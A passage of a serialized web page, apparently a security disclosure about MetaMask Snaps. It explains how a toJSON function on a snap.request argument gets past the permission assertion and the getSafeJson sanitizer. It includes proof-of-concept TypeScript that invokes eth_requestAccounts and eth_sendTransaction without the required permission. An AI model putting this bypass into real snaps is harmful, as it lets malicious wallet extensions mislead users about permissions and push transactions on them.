unknown",{"type":23,"tag":230,"props":3596,"children":3597},{"style":866},[3598],{"type":29,"value":3589},{"type":23,"tag":230,"props":3600,"children":3601},{"style":676},[3602],{"type":29,"value":2926},{"type":23,"tag":230,"props":3604,"children":3605},{"style":274},[3606],{"type":29,"value":331},{"type":23,"tag":230,"props":3608,"children":3609},{"class":232,"line":400},[3610,3615,3619,3624],{"type":23,"tag":230,"props":3611,"children":3612},{"style":256},[3613],{"type":29,"value":3614},"          this",{"type":23,"tag":230,"props":3616,"children":3617},{"style":866},[3618],{"type":29,"value":3589},{"type":23,"tag":230,"props":3620,"children":3621},{"style":676},[3622],{"type":29,"value":3623}," any",{"type":23,"tag":230,"props":3625,"children":3626},{"style":274},[3627],{"type":29,"value":388},{"type":23,"tag":230,"props":3629,"children":3630},{"class":232,"line":444},[3631],{"type":23,"tag":230,"props":3632,"children":3633},{"style":274},[3634],{"type":29,"value":3635},"        );\n",{"type":23,"tag":230,"props":3637,"children":3638},{"class":232,"line":453},[3639,3644,3649],{"type":23,"tag":230,"props":3640,"children":3641},{"style":274},[3642],{"type":29,"value":3643},"      } ",{"type":23,"tag":230,"props":3645,"children":3646},{"style":866},[3647],{"type":29,"value":3648},"finally",{"type":23,"tag":230,"props":3650,"children":3651},{"style":274},[3652],{"type":29,"value":277},{"type":23,"tag":230,"props":3654,"children":3655},{"class":232,"line":462},[3656,3661,3665,3669,3673,3677,3682],{"type":23,"tag":230,"props":3657,"children":3658},{"style":256},[3659],{"type":29,"value":3660},"        this",{"type":23,"tag":230,"props":3662,"children":3663},{"style":274},[3664],{"type":29,"value":312},{"type":23,"tag":230,"props":3666,"children":3667},{"style":294},[3668],{"type":29,"value":3514},{"type":23,"tag":230,"props":3670,"children":3671},{"style":274},[3672],{"type":29,"value":3519},{"type":23,"tag":230,"props":3674,"children":3675},{"style":262},[3676],{"type":29,"value":3524},{"type":23,"tag":230,"props":3678,"children":3679},{"style":380},[3680],{"type":29,"value":3681}," 'OutboundResponse'",{"type":23,"tag":230,"props":3683,"children":3684},{"style":274},[3685],{"type":29,"value":3534},{"type":23,"tag":230,"props":3687,"children":3688},{"class":232,"line":471},[3689],{"type":23,"tag":230,"props":3690,"children":3691},{"style":274},[3692],{"type":29,"value":1931},{"type":23,"tag":230,"props":3694,"children":3695},{"class":232,"line":500},[3696],{"type":23,"tag":230,"props":3697,"children":3698},{"style":274},[3699],{"type":29,"value":3700},"    };\n",{"type":23,"tag":32,"props":3702,"children":3703},{},[3704,3706,3711,3713,3718],{"type":29,"value":3705},"In particular, this function is from the ",{"type":23,"tag":71,"props":3707,"children":3709},{"className":3708},[],[3710],{"type":29,"value":2866},{"type":29,"value":3712}," provider, but the only thing that changes between this and ",{"type":23,"tag":71,"props":3714,"children":3716},{"className":3715},[],[3717],{"type":29,"value":2873},{"type":29,"value":3719}," is the assert function in the first line.",{"type":23,"tag":32,"props":3721,"children":3722},{},[3723],{"type":29,"value":3724},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":144,"props":3726,"children":3727},{},[3728,3740,3745],{"type":23,"tag":102,"props":3729,"children":3730},{},[3731,3733,3738],{"type":29,"value":3732},"Assert if ",{"type":23,"tag":71,"props":3734,"children":3736},{"className":3735},[],[3737],{"type":29,"value":2917},{"type":29,"value":3739}," are valid",{"type":23,"tag":102,"props":3741,"children":3742},{},[3743],{"type":29,"value":3744},"getSafeJson to get sanitizedArgs",{"type":23,"tag":102,"props":3746,"children":3747},{},[3748],{"type":29,"value":3749},"originalRequest(sanitizedArgs)",{"type":23,"tag":32,"props":3751,"children":3752},{},[3753,3755,3761],{"type":29,"value":3754},"Obs: ",{"type":23,"tag":71,"props":3756,"children":3758},{"className":3757},[],[3759],{"type":29,"value":3760},"originalRequest",{"type":29,"value":3762}," makes the RPC call to metamask service worker",{"type":23,"tag":59,"props":3764,"children":3766},{"id":3765},"safe-json-exploit",[3767],{"type":29,"value":3768},"Safe JSON Exploit",{"type":23,"tag":32,"props":3770,"children":3771},{},[3772,3774,3780,3782,3787,3789,3795],{"type":29,"value":3773},"As we dug further into the",{"type":23,"tag":71,"props":3775,"children":3777},{"className":3776},[],[3778],{"type":29,"value":3779},"getSafeJson",{"type":29,"value":3781}," function (defined in ",{"type":23,"tag":71,"props":3783,"children":3785},{"className":3784},[],[3786],{"type":29,"value":1973},{"type":29,"value":3788}," package) we discovered the following ",{"type":23,"tag":181,"props":3790,"children":3793},{"href":3791,"rel":3792},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[185],[3794],{"type":29,"value":71},{"type":29,"value":218},{"type":23,"tag":220,"props":3797,"children":3799},{"className":222,"code":3798,"language":224,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[3800],{"type":23,"tag":71,"props":3801,"children":3802},{"__ignoreMap":7},[3803,3869,3896,3921,3977,3985,4033,4049,4056,4073,4080,4087],{"type":23,"tag":230,"props":3804,"children":3805},{"class":232,"line":233},[3806,3810,3815,3820,3824,3829,3833,3838,3842,3847,3852,3857,3861,3865],{"type":23,"tag":230,"props":3807,"children":3808},{"style":866},[3809],{"type":29,"value":2898},{"type":23,"tag":230,"props":3811,"children":3812},{"style":256},[3813],{"type":29,"value":3814}," const",{"type":23,"tag":230,"props":3816,"children":3817},{"style":262},[3818],{"type":29,"value":3819}," JsonStruct",{"type":23,"tag":230,"props":3821,"children":3822},{"style":268},[3823],{"type":29,"value":271},{"type":23,"tag":230,"props":3825,"children":3826},{"style":294},[3827],{"type":29,"value":3828}," coerce",{"type":23,"tag":230,"props":3830,"children":3831},{"style":274},[3832],{"type":29,"value":302},{"type":23,"tag":230,"props":3834,"children":3835},{"style":262},[3836],{"type":29,"value":3837},"UnsafeJsonStruct",{"type":23,"tag":230,"props":3839,"children":3840},{"style":274},[3841],{"type":29,"value":684},{"type":23,"tag":230,"props":3843,"children":3844},{"style":294},[3845],{"type":29,"value":3846},"any",{"type":23,"tag":230,"props":3848,"children":3849},{"style":274},[3850],{"type":29,"value":3851},"(), (",{"type":23,"tag":230,"props":3853,"children":3854},{"style":262},[3855],{"type":29,"value":3856},"value",{"type":23,"tag":230,"props":3858,"children":3859},{"style":274},[3860],{"type":29,"value":703},{"type":23,"tag":230,"props":3862,"children":3863},{"style":256},[3864],{"type":29,"value":2671},{"type":23,"tag":230,"props":3866,"children":3867},{"style":274},[3868],{"type":29,"value":277},{"type":23,"tag":230,"props":3870,"children":3871},{"class":232,"line":243},[3872,3876,3880,3884,3888,3892],{"type":23,"tag":230,"props":3873,"children":3874},{"style":294},[3875],{"type":29,"value":3251},{"type":23,"tag":230,"props":3877,"children":3878},{"style":274},[3879],{"type":29,"value":302},{"type":23,"tag":230,"props":3881,"children":3882},{"style":262},[3883],{"type":29,"value":3856},{"type":23,"tag":230,"props":3885,"children":3886},{"style":274},[3887],{"type":29,"value":684},{"type":23,"tag":230,"props":3889,"children":3890},{"style":262},[3891],{"type":29,"value":3837},{"type":23,"tag":230,"props":3893,"children":3894},{"style":274},[3895],{"type":29,"value":753},{"type":23,"tag":230,"props":3897,"children":3898},{"class":232,"line":252},[3899,3904,3908,3912,3917],{"type":23,"tag":230,"props":3900,"children":3901},{"style":866},[3902],{"type":29,"value":3903},"  return",{"type":23,"tag":230,"props":3905,"children":3906},{"style":262},[3907],{"type":29,"value":2209},{"type":23,"tag":230,"props":3909,"children":3910},{"style":274},[3911],{"type":29,"value":312},{"type":23,"tag":230,"props":3913,"children":3914},{"style":294},[3915],{"type":29,"value":3916},"parse",{"type":23,"tag":230,"props":3918,"children":3919},{"style":274},[3920],{"type":29,"value":619},{"type":23,"tag":230,"props":3922,"children":3923},{"class":232,"line":280},[3924,3929,3933,3938,3942,3946,3951,3956,3960,3965,3969,3973],{"type":23,"tag":230,"props":3925,"children":3926},{"style":262},[3927],{"type":29,"value":3928},"    JSON",{"type":23,"tag":230,"props":3930,"children":3931},{"style":274},[3932],{"type":29,"value":312},{"type":23,"tag":230,"props":3934,"children":3935},{"style":294},[3936],{"type":29,"value":3937},"stringify",{"type":23,"tag":230,"props":3939,"children":3940},{"style":274},[3941],{"type":29,"value":302},{"type":23,"tag":230,"props":3943,"children":3944},{"style":262},[3945],{"type":29,"value":3856},{"type":23,"tag":230,"props":3947,"children":3948},{"style":274},[3949],{"type":29,"value":3950},", (",{"type":23,"tag":230,"props":3952,"children":3953},{"style":262},[3954],{"type":29,"value":3955},"propKey",{"type":23,"tag":230,"props":3957,"children":3958},{"style":274},[3959],{"type":29,"value":684},{"type":23,"tag":230,"props":3961,"children":3962},{"style":262},[3963],{"type":29,"value":3964},"propValue",{"type":23,"tag":230,"props":3966,"children":3967},{"style":274},[3968],{"type":29,"value":703},{"type":23,"tag":230,"props":3970,"children":3971},{"style":256},[3972],{"type":29,"value":2671},{"type":23,"tag":230,"props":3974,"children":3975},{"style":274},[3976],{"type":29,"value":277},{"type":23,"tag":230,"props":3978,"children":3979},{"class":232,"line":334},[3980],{"type":23,"tag":230,"props":3981,"children":3982},{"style":237},[3983],{"type":29,"value":3984},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":230,"props":3986,"children":3987},{"class":232,"line":371},[3988,3993,3997,4001,4005,4010,4015,4020,4024,4029],{"type":23,"tag":230,"props":3989,"children":3990},{"style":866},[3991],{"type":29,"value":3992},"      if",{"type":23,"tag":230,"props":3994,"children":3995},{"style":274},[3996],{"type":29,"value":664},{"type":23,"tag":230,"props":3998,"children":3999},{"style":262},[4000],{"type":29,"value":3955},{"type":23,"tag":230,"props":4002,"children":4003},{"style":268},[4004],{"type":29,"value":2161},{"type":23,"tag":230,"props":4006,"children":4007},{"style":380},[4008],{"type":29,"value":4009}," '__proto__'",{"type":23,"tag":230,"props":4011,"children":4012},{"style":268},[4013],{"type":29,"value":4014}," ||",{"type":23,"tag":230,"props":4016,"children":4017},{"style":262},[4018],{"type":29,"value":4019}," propKey",{"type":23,"tag":230,"props":4021,"children":4022},{"style":268},[4023],{"type":29,"value":2161},{"type":23,"tag":230,"props":4025,"children":4026},{"style":380},[4027],{"type":29,"value":4028}," 'constructor'",{"type":23,"tag":230,"props":4030,"children":4031},{"style":274},[4032],{"type":29,"value":827},{"type":23,"tag":230,"props":4034,"children":4035},{"class":232,"line":391},[4036,4040,4045],{"type":23,"tag":230,"props":4037,"children":4038},{"style":866},[4039],{"type":29,"value":3554},{"type":23,"tag":230,"props":4041,"children":4042},{"style":256},[4043],{"type":29,"value":4044}," undefined",{"type":23,"tag":230,"props":4046,"children":4047},{"style":274},[4048],{"type":29,"value":511},{"type":23,"tag":230,"props":4050,"children":4051},{"class":232,"line":400},[4052],{"type":23,"tag":230,"props":4053,"children":4054},{"style":274},[4055],{"type":29,"value":1931},{"type":23,"tag":230,"props":4057,"children":4058},{"class":232,"line":444},[4059,4064,4069],{"type":23,"tag":230,"props":4060,"children":4061},{"style":866},[4062],{"type":29,"value":4063},"      return",{"type":23,"tag":230,"props":4065,"children":4066},{"style":262},[4067],{"type":29,"value":4068}," propValue",{"type":23,"tag":230,"props":4070,"children":4071},{"style":274},[4072],{"type":29,"value":511},{"type":23,"tag":230,"props":4074,"children":4075},{"class":232,"line":453},[4076],{"type":23,"tag":230,"props":4077,"children":4078},{"style":274},[4079],{"type":29,"value":3236},{"type":23,"tag":230,"props":4081,"children":4082},{"class":232,"line":462},[4083],{"type":23,"tag":230,"props":4084,"children":4085},{"style":274},[4086],{"type":29,"value":3101},{"type":23,"tag":230,"props":4088,"children":4089},{"class":232,"line":471},[4090],{"type":23,"tag":230,"props":4091,"children":4092},{"style":274},[4093],{"type":29,"value":2582},{"type":23,"tag":32,"props":4095,"children":4096},{},[4097,4099,4105,4107,4112,4114,4120,4122,4128],{"type":29,"value":4098},"The function performs a ",{"type":23,"tag":71,"props":4100,"children":4102},{"className":4101},[],[4103],{"type":29,"value":4104},"JSON.parse(JSON.stringify(value))",{"type":29,"value":4106}," in the argument sent to ",{"type":23,"tag":71,"props":4108,"children":4110},{"className":4109},[],[4111],{"type":29,"value":3779},{"type":29,"value":4113},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":71,"props":4115,"children":4117},{"className":4116},[],[4118],{"type":29,"value":4119},"toJSON",{"type":29,"value":4121}," function in a legit ",{"type":23,"tag":71,"props":4123,"children":4125},{"className":4124},[],[4126],{"type":29,"value":4127},"snap.request",{"type":29,"value":4129}," argument:",{"type":23,"tag":144,"props":4131,"children":4132},{},[4133,4138,4143],{"type":23,"tag":102,"props":4134,"children":4135},{},[4136],{"type":29,"value":4137},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":102,"props":4139,"children":4140},{},[4141],{"type":29,"value":4142},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":102,"props":4144,"children":4145},{},[4146],{"type":29,"value":4147},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":32,"props":4149,"children":4150},{},[4151],{"type":29,"value":4152},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":144,"props":4154,"children":4155},{},[4156,4161],{"type":23,"tag":102,"props":4157,"children":4158},{},[4159],{"type":29,"value":4160},"forward blocked RPC methods",{"type":23,"tag":102,"props":4162,"children":4163},{},[4164,4166,4171,4173,4179,4181,4186],{"type":29,"value":4165},"Making requests in ",{"type":23,"tag":71,"props":4167,"children":4169},{"className":4168},[],[4170],{"type":29,"value":4127},{"type":29,"value":4172}," that were only supposed to be done within ",{"type":23,"tag":71,"props":4174,"children":4176},{"className":4175},[],[4177],{"type":29,"value":4178},"ethereum.request",{"type":29,"value":4180}," (with ",{"type":23,"tag":71,"props":4182,"children":4184},{"className":4183},[],[4185],{"type":29,"value":3340},{"type":29,"value":4187}," enabled).",{"type":23,"tag":32,"props":4189,"children":4190},{},[4191],{"type":29,"value":4192},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":59,"props":4194,"children":4196},{"id":4195},"impact",[4197],{"type":29,"value":4198},"Impact",{"type":23,"tag":32,"props":4200,"children":4201},{},[4202],{"type":29,"value":4203},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":32,"props":4205,"children":4206},{},[4207],{"type":23,"tag":93,"props":4208,"children":4210},{"alt":7,"src":4209},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":59,"props":4212,"children":4214},{"id":4213},"proof-of-concept",[4215],{"type":29,"value":4216},"Proof of Concept",{"type":23,"tag":32,"props":4218,"children":4219},{},[4220,4222,4227,4229,4234,4236,4242],{"type":29,"value":4221},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":71,"props":4223,"children":4225},{"className":4224},[],[4226],{"type":29,"value":3340},{"type":29,"value":4228}," permission, and used the ",{"type":23,"tag":71,"props":4230,"children":4232},{"className":4231},[],[4233],{"type":29,"value":2866},{"type":29,"value":4235}," interface to call ",{"type":23,"tag":71,"props":4237,"children":4239},{"className":4238},[],[4240],{"type":29,"value":4241},"eth_sendTransaction",{"type":29,"value":4243},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":220,"props":4245,"children":4247},{"className":222,"code":4246,"language":224,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[4248],{"type":23,"tag":71,"props":4249,"children":4250},{"__ignoreMap":7},[4251,4286,4293,4300,4317,4349,4356,4381,4388,4420,4432,4449,4462,4469,4476,4483,4517,4524,4532,4540,4557,4585,4593,4617,4625,4657,4669,4686,4699,4722,4739,4757,4766,4774,4782,4790,4822,4830,4838,4899,4907,4936,4955,4971,4988,5004,5017,5048,5056],{"type":23,"tag":230,"props":4252,"children":4253},{"class":232,"line":233},[4254,4259,4263,4268,4272,4277,4282],{"type":23,"tag":230,"props":4255,"children":4256},{"style":866},[4257],{"type":29,"value":4258},"import",{"type":23,"tag":230,"props":4260,"children":4261},{"style":274},[4262],{"type":29,"value":848},{"type":23,"tag":230,"props":4264,"children":4265},{"style":262},[4266],{"type":29,"value":4267},"OnRpcRequestHandler",{"type":23,"tag":230,"props":4269,"children":4270},{"style":274},[4271],{"type":29,"value":858},{"type":23,"tag":230,"props":4273,"children":4274},{"style":866},[4275],{"type":29,"value":4276},"from",{"type":23,"tag":230,"props":4278,"children":4279},{"style":380},[4280],{"type":29,"value":4281}," '@metamask/snaps-types'",{"type":23,"tag":230,"props":4283,"children":4284},{"style":274},[4285],{"type":29,"value":511},{"type":23,"tag":230,"props":4287,"children":4288},{"class":232,"line":243},[4289],{"type":23,"tag":230,"props":4290,"children":4291},{"emptyLinePlaceholder":18},[4292],{"type":29,"value":459},{"type":23,"tag":230,"props":4294,"children":4295},{"class":232,"line":252},[4296],{"type":23,"tag":230,"props":4297,"children":4298},{"emptyLinePlaceholder":18},[4299],{"type":29,"value":459},{"type":23,"tag":230,"props":4301,"children":4302},{"class":232,"line":280},[4303,4307,4312],{"type":23,"tag":230,"props":4304,"children":4305},{"style":256},[4306],{"type":29,"value":3381},{"type":23,"tag":230,"props":4308,"children":4309},{"style":294},[4310],{"type":29,"value":4311}," jsonExploit",{"type":23,"tag":230,"props":4313,"children":4314},{"style":274},[4315],{"type":29,"value":4316},"(){\n",{"type":23,"tag":230,"props":4318,"children":4319},{"class":232,"line":334},[4320,4325,4330,4334,4339,4344],{"type":23,"tag":230,"props":4321,"children":4322},{"style":256},[4323],{"type":29,"value":4324},"  let",{"type":23,"tag":230,"props":4326,"children":4327},{"style":262},[4328],{"type":29,"value":4329}," x",{"type":23,"tag":230,"props":4331,"children":4332},{"style":268},[4333],{"type":29,"value":271},{"type":23,"tag":230,"props":4335,"children":4336},{"style":274},[4337],{"type":29,"value":4338}," [] ",{"type":23,"tag":230,"props":4340,"children":4341},{"style":866},[4342],{"type":29,"value":4343},"as",{"type":23,"tag":230,"props":4345,"children":4346},{"style":676},[4347],{"type":29,"value":4348}," any\n",{"type":23,"tag":230,"props":4350,"children":4351},{"class":232,"line":371},[4352],{"type":23,"tag":230,"props":4353,"children":4354},{"emptyLinePlaceholder":18},[4355],{"type":29,"value":459},{"type":23,"tag":230,"props":4357,"children":4358},{"class":232,"line":391},[4359,4364,4368,4372,4376],{"type":23,"tag":230,"props":4360,"children":4361},{"style":262},[4362],{"type":29,"value":4363},"  x",{"type":23,"tag":230,"props":4365,"children":4366},{"style":274},[4367],{"type":29,"value":312},{"type":23,"tag":230,"props":4369,"children":4370},{"style":262},[4371],{"type":29,"value":3002},{"type":23,"tag":230,"props":4373,"children":4374},{"style":268},[4375],{"type":29,"value":271},{"type":23,"tag":230,"props":4377,"children":4378},{"style":380},[4379],{"type":29,"value":4380}," \"snap_dialog\"\n",{"type":23,"tag":230,"props":4382,"children":4383},{"class":232,"line":400},[4384],{"type":23,"tag":230,"props":4385,"children":4386},{"emptyLinePlaceholder":18},[4387],{"type":29,"value":459},{"type":23,"tag":230,"props":4389,"children":4390},{"class":232,"line":444},[4391,4395,4399,4403,4407,4412,4416],{"type":23,"tag":230,"props":4392,"children":4393},{"style":262},[4394],{"type":29,"value":4363},{"type":23,"tag":230,"props":4396,"children":4397},{"style":274},[4398],{"type":29,"value":312},{"type":23,"tag":230,"props":4400,"children":4401},{"style":294},[4402],{"type":29,"value":4119},{"type":23,"tag":230,"props":4404,"children":4405},{"style":268},[4406],{"type":29,"value":271},{"type":23,"tag":230,"props":4408,"children":4409},{"style":274},[4410],{"type":29,"value":4411}," () ",{"type":23,"tag":230,"props":4413,"children":4414},{"style":256},[4415],{"type":29,"value":2671},{"type":23,"tag":230,"props":4417,"children":4418},{"style":274},[4419],{"type":29,"value":277},{"type":23,"tag":230,"props":4421,"children":4422},{"class":232,"line":453},[4423,4428],{"type":23,"tag":230,"props":4424,"children":4425},{"style":866},[4426],{"type":29,"value":4427},"    return",{"type":23,"tag":230,"props":4429,"children":4430},{"style":274},[4431],{"type":29,"value":277},{"type":23,"tag":230,"props":4433,"children":4434},{"class":232,"line":462},[4435,4440,4445],{"type":23,"tag":230,"props":4436,"children":4437},{"style":262},[4438],{"type":29,"value":4439},"      method:",{"type":23,"tag":230,"props":4441,"children":4442},{"style":380},[4443],{"type":29,"value":4444}," \"eth_requestAccounts\"",{"type":23,"tag":230,"props":4446,"children":4447},{"style":274},[4448],{"type":29,"value":388},{"type":23,"tag":230,"props":4450,"children":4451},{"class":232,"line":471},[4452,4457],{"type":23,"tag":230,"props":4453,"children":4454},{"style":262},[4455],{"type":29,"value":4456},"      params:",{"type":23,"tag":230,"props":4458,"children":4459},{"style":274},[4460],{"type":29,"value":4461}," []\n",{"type":23,"tag":230,"props":4463,"children":4464},{"class":232,"line":500},[4465],{"type":23,"tag":230,"props":4466,"children":4467},{"style":274},[4468],{"type":29,"value":1552},{"type":23,"tag":230,"props":4470,"children":4471},{"class":232,"line":514},[4472],{"type":23,"tag":230,"props":4473,"children":4474},{"style":274},[4475],{"type":29,"value":1331},{"type":23,"tag":230,"props":4477,"children":4478},{"class":232,"line":897},[4479],{"type":23,"tag":230,"props":4480,"children":4481},{"emptyLinePlaceholder":18},[4482],{"type":29,"value":459},{"type":23,"tag":230,"props":4484,"children":4485},{"class":232,"line":960},[4486,4490,4495,4499,4503,4507,4512],{"type":23,"tag":230,"props":4487,"children":4488},{"style":866},[4489],{"type":29,"value":3903},{"type":23,"tag":230,"props":4491,"children":4492},{"style":262},[4493],{"type":29,"value":4494}," snap",{"type":23,"tag":230,"props":4496,"children":4497},{"style":274},[4498],{"type":29,"value":312},{"type":23,"tag":230,"props":4500,"children":4501},{"style":294},[4502],{"type":29,"value":3372},{"type":23,"tag":230,"props":4504,"children":4505},{"style":274},[4506],{"type":29,"value":302},{"type":23,"tag":230,"props":4508,"children":4509},{"style":262},[4510],{"type":29,"value":4511},"x",{"type":23,"tag":230,"props":4513,"children":4514},{"style":274},[4515],{"type":29,"value":4516},")\n",{"type":23,"tag":230,"props":4518,"children":4519},{"class":232,"line":969},[4520],{"type":23,"tag":230,"props":4521,"children":4522},{"emptyLinePlaceholder":18},[4523],{"type":29,"value":459},{"type":23,"tag":230,"props":4525,"children":4527},{"class":232,"line":4526},18,[4528],{"type":23,"tag":230,"props":4529,"children":4530},{"style":274},[4531],{"type":29,"value":975},{"type":23,"tag":230,"props":4533,"children":4535},{"class":232,"line":4534},19,[4536],{"type":23,"tag":230,"props":4537,"children":4538},{"emptyLinePlaceholder":18},[4539],{"type":29,"value":459},{"type":23,"tag":230,"props":4541,"children":4543},{"class":232,"line":4542},20,[4544,4548,4553],{"type":23,"tag":230,"props":4545,"children":4546},{"style":256},[4547],{"type":29,"value":3381},{"type":23,"tag":230,"props":4549,"children":4550},{"style":294},[4551],{"type":29,"value":4552}," transactionExploit",{"type":23,"tag":230,"props":4554,"children":4555},{"style":274},[4556],{"type":29,"value":4316},{"type":23,"tag":230,"props":4558,"children":4560},{"class":232,"line":4559},21,[4561,4565,4569,4573,4577,4581],{"type":23,"tag":230,"props":4562,"children":4563},{"style":256},[4564],{"type":29,"value":4324},{"type":23,"tag":230,"props":4566,"children":4567},{"style":262},[4568],{"type":29,"value":4329},{"type":23,"tag":230,"props":4570,"children":4571},{"style":268},[4572],{"type":29,"value":271},{"type":23,"tag":230,"props":4574,"children":4575},{"style":274},[4576],{"type":29,"value":4338},{"type":23,"tag":230,"props":4578,"children":4579},{"style":866},[4580],{"type":29,"value":4343},{"type":23,"tag":230,"props":4582,"children":4583},{"style":676},[4584],{"type":29,"value":4348},{"type":23,"tag":230,"props":4586,"children":4588},{"class":232,"line":4587},22,[4589],{"type":23,"tag":230,"props":4590,"children":4591},{"emptyLinePlaceholder":18},[4592],{"type":29,"value":459},{"type":23,"tag":230,"props":4594,"children":4596},{"class":232,"line":4595},23,[4597,4601,4605,4609,4613],{"type":23,"tag":230,"props":4598,"children":4599},{"style":262},[4600],{"type":29,"value":4363},{"type":23,"tag":230,"props":4602,"children":4603},{"style":274},[4604],{"type":29,"value":312},{"type":23,"tag":230,"props":4606,"children":4607},{"style":262},[4608],{"type":29,"value":3002},{"type":23,"tag":230,"props":4610,"children":4611},{"style":268},[4612],{"type":29,"value":271},{"type":23,"tag":230,"props":4614,"children":4615},{"style":380},[4616],{"type":29,"value":4380},{"type":23,"tag":230,"props":4618,"children":4620},{"class":232,"line":4619},24,[4621],{"type":23,"tag":230,"props":4622,"children":4623},{"emptyLinePlaceholder":18},[4624],{"type":29,"value":459},{"type":23,"tag":230,"props":4626,"children":4628},{"class":232,"line":4627},25,[4629,4633,4637,4641,4645,4649,4653],{"type":23,"tag":230,"props":4630,"children":4631},{"style":262},[4632],{"type":29,"value":4363},{"type":23,"tag":230,"props":4634,"children":4635},{"style":274},[4636],{"type":29,"value":312},{"type":23,"tag":230,"props":4638,"children":4639},{"style":294},[4640],{"type":29,"value":4119},{"type":23,"tag":230,"props":4642,"children":4643},{"style":268},[4644],{"type":29,"value":271},{"type":23,"tag":230,"props":4646,"children":4647},{"style":274},[4648],{"type":29,"value":4411},{"type":23,"tag":230,"props":4650,"children":4651},{"style":256},[4652],{"type":29,"value":2671},{"type":23,"tag":230,"props":4654,"children":4655},{"style":274},[4656],{"type":29,"value":277},{"type":23,"tag":230,"props":4658,"children":4660},{"class":232,"line":4659},26,[4661,4665],{"type":23,"tag":230,"props":4662,"children":4663},{"style":866},[4664],{"type":29,"value":4427},{"type":23,"tag":230,"props":4666,"children":4667},{"style":274},[4668],{"type":29,"value":277},{"type":23,"tag":230,"props":4670,"children":4672},{"class":232,"line":4671},27,[4673,4677,4682],{"type":23,"tag":230,"props":4674,"children":4675},{"style":262},[4676],{"type":29,"value":4439},{"type":23,"tag":230,"props":4678,"children":4679},{"style":380},[4680],{"type":29,"value":4681}," \"eth_sendTransaction\"",{"type":23,"tag":230,"props":4683,"children":4684},{"style":274},[4685],{"type":29,"value":388},{"type":23,"tag":230,"props":4687,"children":4689},{"class":232,"line":4688},28,[4690,4694],{"type":23,"tag":230,"props":4691,"children":4692},{"style":262},[4693],{"type":29,"value":4456},{"type":23,"tag":230,"props":4695,"children":4696},{"style":274},[4697],{"type":29,"value":4698}," [{\n",{"type":23,"tag":230,"props":4700,"children":4702},{"class":232,"line":4701},29,[4703,4708,4713,4717],{"type":23,"tag":230,"props":4704,"children":4705},{"style":262},[4706],{"type":29,"value":4707},"        from:",{"type":23,"tag":230,"props":4709,"children":4710},{"style":380},[4711],{"type":29,"value":4712}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":230,"props":4714,"children":4715},{"style":274},[4716],{"type":29,"value":684},{"type":23,"tag":230,"props":4718,"children":4719},{"style":237},[4720],{"type":29,"value":4721},"// change this to your address\n",{"type":23,"tag":230,"props":4723,"children":4725},{"class":232,"line":4724},30,[4726,4731,4735],{"type":23,"tag":230,"props":4727,"children":4728},{"style":262},[4729],{"type":29,"value":4730},"        to:",{"type":23,"tag":230,"props":4732,"children":4733},{"style":380},[4734],{"type":29,"value":4712},{"type":23,"tag":230,"props":4736,"children":4737},{"style":274},[4738],{"type":29,"value":388},{"type":23,"tag":230,"props":4740,"children":4742},{"class":232,"line":4741},31,[4743,4748,4753],{"type":23,"tag":230,"props":4744,"children":4745},{"style":262},[4746],{"type":29,"value":4747},"        value:",{"type":23,"tag":230,"props":4749,"children":4750},{"style":380},[4751],{"type":29,"value":4752}," \"0x1\"",{"type":23,"tag":230,"props":4754,"children":4755},{"style":274},[4756],{"type":29,"value":388},{"type":23,"tag":230,"props":4758,"children":4760},{"class":232,"line":4759},32,[4761],{"type":23,"tag":230,"props":4762,"children":4763},{"style":274},[4764],{"type":29,"value":4765},"      